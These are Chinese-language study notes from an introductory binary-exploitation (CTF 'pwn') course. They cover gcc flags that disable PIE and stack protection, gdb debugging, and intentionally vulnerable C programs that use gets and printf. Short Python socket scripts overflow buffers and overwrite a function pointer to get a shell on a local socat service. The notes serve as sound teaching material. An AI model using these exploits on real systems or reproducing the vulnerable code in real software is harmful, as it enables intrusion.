大佬课程链接:https://www.bilibili.com/video/BV1mr4y1Y7fW/?spm_id_from=333.337.search-card.all.click

第一章gdb调试

1.认识程序

1.常用编译命令

编译程序

#-o 指定输出程序
gcc question.c -o question_1_x64

#编译32位程序
gcc -m32 question_1.c -o question_1_x86
#需要提前安装插件
sudo apt-get install gcc-multilib g++-multilib module-assistant

#esp
#不省略栈帧指针
gcc -m32 question_1.c -fno-omit-frame-pointer -o question_1_x86_esp
gcc question_1.c -fno-omit-frame-pointer -o question_1_x64_esp

#生成汇编代码
gcc -S question_1.c

#-O优化,一共三级,三级最高
gcc question.c -O3 -o question_1_x64_O3

#nopie编译
#pie生成地址无关可执行程序,加载到内存中地址存在不可预测性
#nopie关闭pie
gcc question.c -no-pie -o question_1_x64_nopie

#静态编译,文件大小很大
gcc question.c -static -o question_1_x64_static

#关闭栈保护
gcc question_4_1.c -m32 -fno-stack-protector -no-pie -o question_4_1_x86
gcc question_4_1.c -fno-stack-protector -no-pie -fomit-frame-pointer -o question_4_1_x64_sep

2.常用linux命令

pwn会用到的命令

file 可以看到文件的基本信息
readelf -a [文件名] | less 可以看到elf文件的详细情况

nm [文件名]| less 查看目标文件的符号清单
hexdump [文件名] |less 查看16进制程序

ldd [文件名] 查看用到的库函数的位置

checksec [文件名] 查看文件编译状态

objdump -d [文件名]|less 命令编译成汇编指令
objdump -d [文件名] -M intel|less 命令编译成汇编指令

#开启socket调试
socat tcp-l:8888,fork exec:./a.out,reuseaddr

拿到pwn题第一步先运行,输入内容看打印结果
第二部checksec等看文件属性

查看进程的真正内存

1.先查询到进程的对应id,ps -ef|grep
2.cat /proc/10144/maps

2.gdb调试

gdb:地表最强动态调试器

1.gdb基础使用

0.单位转换基础
byte:字节
1 byte = 8 bit

1.amd64寄存器结构
rax: 8Bytes
eax: 4Bytes
ax: 2Bytes
ah: 1Bytes
al: 1Bytes

rip:用来存放当前执行的指令的地址
rbp/rsp:用来做栈,rsp存放当前栈顶地址,rbp存放当前栈底地址
rax: 通用寄存器,用来存储程序返回值

2.att与intel汇编

move rdp,rsp  python rdp=rsp
moveq %rsp,%rdp

3.gdb基础使用

gdb加载程序
gdb ./[文件名]

gdb运行
run

运行到程序入口点
start

查看寄存器
i r

反编译rip所在函数的位置
disassemble $rip
#att->intel
set disassembly-flavor intel

断点:

设置断点
b *0x000055555527a

让断点失效
disable b [断点id]

查看断点
i b

继续执行,直到遇到下一个断点
c

步过指令
ni

步入指令
si

步出指令
finish

BYTE:8位
WORD:16位
DWORD:32位
QWORD:64位
2个十六进制位算一个字节

打印寄存器的值
print $rbp

从rip开始往下编译20行
x/20i $rip

通过Byte的形式查看
x/20b $rbp-0x10

给rbp-0x10赋值为0x61
p $rbp-0x10 //0x7fffffffe210
set *0x7fffffffe210=0x61

2.Question1

q1.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char sh[]="/bin/sh";
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int func(char *cmd){
    system(cmd);
    return 0;
}

int main(){
    char a[8] = {};
    char b[8] = {};
    //char a[1] = {'b'};
    puts("input:");
    gets(a);  
    printf(a);
    if(b[0]=='a'){
        func(sh);
    }
    return 0;
}

编译为程序(64位)

gcc ./q1.c -o q1

gdb调试

gdb q1
start
disassemble $rip
可以看出在+89时,通过将$rbp-010的值取8位给eax,从而al获得值 在+93处如果al=0x61则不会跳转,从而运行以下程序 1.调试改值 所以在+89处设置断点
b *0x00005555555552ce
b *0x00005555555552d2
运行到movzx处查看$rbp-0x10 为其赋值0x61
print $rip-0x10
set *0x7fffffffe350=0x61
运行到第二个断点时,查看寄存器的值,发现rax为0x61即al=0x61 成功获取shell

2.通过gets溢出
在输入时多输8个字符后再输入1个a
断点处

print $rbp-0x10
x/20gx 0x7fffffffe340
发现$rbp-0x10处低位已是0x61,由于gets函数输入内容过多,当a输入满后内容溢出覆盖b内存 直接向下运行即可获取shell

注:
1,断点的顺序:程序运行到断点处不会执行断点语句,继续执行才会执行断点语句
2.x/20b小端,x/20gx大端
选bx

选gx

gx分两列,第一列小第二列大,每列中左高位右低位
bx是从低位到高位,左低位右高位

3.Question1_x86

gbb的x86调试

gcc -m32 q1.c -o q1_x86

-m32如果不行,去安装插件

sudo apt-get install gcc-multilib g++-multilib module-assistant

gdb调试

start
disassemble $eip //32位是eip
在+120处给eax复制,124比较al和0x61并将结果给126条件判断
在+120处打断点
b *0x56556379

运行到断点处查看$ebp-0x10
发现存储地址0xffffd4c4,将该值赋值为0x61
(gdb) set *0xffffd4c4=0x61

有时用SET需转换为Unsigned类型

set *((unsigned int)$ebp+0x10)=0x18

3.初识pie_static_寻址方式

1.pie与static

1.nopie编译

-no-pie
数字就是40开头至少六位

正常编译
数字就很小,一般四位五位

2.static编译的文件 文件大小很大

-static
file 文件属性中为statically linked
ldd 不是动态可执行文件

3.-O优化,一共三级,三级最高
gcc question.c -O3 -o question_1_x64_O3
当gcc认为有函数不会执行后会进行优化

2.Question2(strcmp)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char sh[]="/bin/sh";

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int func(char *cmd){
    system(cmd);
    return 0;
}

int main(){
    init_func();
    char a[8] = {};
    char b[8] = {};
    puts("input:");
    gets(a);  
    printf(a);
    if(!strcmp(b,"deadbeef")){
        func(sh);
    }
    return 0;
}

gdb调试

gcc q2.c -o q2
jne跳转条件通过test得到 test eax,eax : eax&eax =>cmp eax,0 等于0不跳转,不等于0跳转 第二章会系统学程序过程 第一章只要掌握gdb调试即可

法一
前8位随便输,第九位开始输入deadbeef即可获取shell

法二
test处打断点,运行到test出set $eax=0 即可获得shell

4.python脚本打pwn

python脚本打pwn初识

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int func(char *cmd){
system(cmd);
return 0;
}

int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]==0x10){
func(sh);
}
return 0;
}

1.gdb调试
使用set使得$rbp-0x10为0x10取得shell

2.借助python脚本实现
题目使用socat开启socket服务,ip地址为192.168.110.135

socat tcp-l:8877,fork exec:./q3,reuseaddr

本机

import socket
import telnetlib
import struct

def pwn():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 8877))
    payload = 'A'*8 + '\x10'
    s.sendall(payload + '\n')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

if __name__ == "__main__":
    pwn()

通过python2运行,成功获取shell

Question3(fp)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int func(char *cmd){
    system(sh);
    return 0;
}

int main(){
    init_func();
    volatile int (*fp)();
    fp=0;
    int a;
    //char a[4] = {};
    //char b[0x10] = {};
    puts("input:");
    gets(&a);  
    //printf(&a);
    if(fp){
    fp();
    }
    return 0;
}

1.gdb手工调试

gcc ./q3.c -o q3
在+90处会用call回调rdx,如果将rdx的值设为func函数的地址,即可获取shell

查看func函数的地址

p &func

给$rdx赋该值后继续运行即可拿到shell

经观察在+81处,获取rdx的值,
在input处输入aaaaaa,到+81处时用x编译看rdp-0x20的值
发现刚才输入的a有两个溢出到了$rdp-0x10中,意味着输入四个字符后输入的值会给rdx
即gx编译中的一行

func 地址为:0x555555555232

通过给该地址赋值从而当
set *(long long int *)0x7fffffffe350=(long long int)0x555555555232

继续运行即可获取shell

2.通过nopie编译后,找到func地址编写exp
func地址为: 0x40121f,注意小端序脚本中要改为(\x1f\x12\x40\x00\x00\x00\x00\x00)
在python中使用

# -*- coding: UTF-8 -*-
import socket
import telnetlib
import struct

def pwn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 8845))
payload = 'A'*4 + '\x1f\x12\x40\x00\x00\x00\x00\x00'
s.sendall(payload + '\n')
t = telnetlib.Telnet()
t.sock = s
t.interact()

if __name__ == "__main__":
pwn()